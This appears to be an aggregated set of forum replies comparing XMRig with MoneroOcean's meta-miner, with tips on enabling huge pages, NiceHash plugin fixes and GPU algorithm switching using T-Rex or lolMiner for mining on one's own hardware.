xmrig VS meta-miner

I'm not so new to XMRig, but I am new to Gupax.io and I'm lost on how I can get 1GB Pages from Disabled to Enabled in the XMRig portion of Gupax. Yes, my CPU supports it. Yes, I made sure my Linux OS uses HugePages. Yes, my RAM and OS CLI checks reflect their usage. Yes, I've also used this script . It all works, except in Gupax.

Xmrig and use a pool that isn't one of the top three. If you want a have more of a challenge then try the p2pool with xmrig. https://github.com/xmrig/xmrig/releases/tag/v6.19.3

Regarding how much you can trust BanRX, all of the mining software used is fully open source on GitHub, with a commonly used one (XMrig) having over 7.6k stars on the repository. We also have a community Discord server for all of the apps in the BananoPlanet ecosystem, including our faucet! You can join the BananoPlanet Discord server at https://bananoplanet.cc/discord.

I would recommend running XMRig directly so as to weed out any problems related to AwesomeMiner.

I’m guessing you are also CPU mining? That is likely an issue with XMRig, correct? If so, first be sure you launch NiceHash as Admin. Right-click the shortcut -> Properties -> Shortcut tab -> Advanced -> Run as administrator. Relaunch NiceHash from the update shortcut, and approve the User Account Control prompt. If that doesn’t solve it, leave the setting intact, but try a couple of other options: 1. toggle “Disable Device Status Monitoring” from NiceHash settings cog icon -> Advanced tab, which is an easy fix that prevents temperature monitoring. 2. the better solution, is to overwrite your XMRig.exe in the XMRig plug-in internals directory [NiceHash Plugins tab -> XMRig -> three dots -> Show Internals -> bins directory -> latest (i.e., 19.1) -> XMRig directory (i.e., xmrig-6.8.1) -> XMRig.exe] with the latest version (v6.19.3) of XMRig.exe available from https://github.com/xmrig/xmrig/releases . For me, swapping the .exe file and running as Admin resolves the issue.

XMRIG: https://github.com/xmrig/xmrig/releases

Monero is mined with CPU, and the best software for this is XMRig. You will need to join a mining pool to mine Monero.

I don't think xmrig is made for GPU mining outside of randomx which is not efficient. At least I haven't had success with it. Check out metaminer, it runs as a layer on top of a GPU miner. Use any combination of GPU miners you like to get the algos you want, i.e. gminer for ethash and kawpow, trex for autolykos. Run metaminer pointing to these programs for xmr centric algo switching and payouts.

MoneroOcean. Two copies of MO-xmrig fork in separate folders. Set one for CPU only. Set other for CUDA which also needs (MO-xmrig-cuda plugin fork)[https://github.com/MoneroOcean/xmrig-cuda/]) added to that folder. Then once all that works add (meta-miner)[https://github.com/MoneroOcean/meta-miner/] to the GPU folder and configure T-Rex for the algos xmrig doesn't do (autolykos2, kawpow, ethash).

This meta-miner? https://github.com/MoneroOcean/meta-miner

Or, wrap your alt miners (for whatever xmrig doesn't support) with meta-miner and it will follow profit at all times.

You should probably configure with meta-miner so that it can change algos to not only the most profitable, but also the most profitable that actually is working. Then your junk will run autolykos2 or kawpow or something whenever ethash sucks.

I just use meta-miner

For all-algos support on GPU you must use meta-miner and configure a couple more miner apps other than xmrig (for the algos it doesn't have). I have better results with T-Rex or lolMiner for kawpow rather than xmrig's support.

The third method is to use MO's meta-miner wrapper which does the algo-perf outside of xmrig and enables launching other miners besides just xmrig (this is how you get the c29 family or ethash). But you can use it instead of the mo-xmrig, and when there is no launch-definition in its mm.json config file for kawpow it won't try it (can't launch anything that doesn't have a launch command). This is clunkier than the built-in autoswitching (meta-miner existed first) since it kills xmrig and relaunches xmrig rather than leaving it all initialized and simply switching algo inside itself. So the switch takes longer which technically is lost work (for whatever time it takes to stop and start an entire xmrig process).

For the GPU side you would use meta-miner and set up for all the algorithms xmrig supports, plus the ones it doesn't via T-Rex (nvidia-only) or lolMiner (AMD or nvidia) for ethash/kawpow/autolykos2, or MoneroVMiner for c29v.

You simply use meta-miner which adds hopping to whatever miner(s) you want. c29b/s/v, autolykos2, kawpow (that isn't the xmrig implementation), ethash.
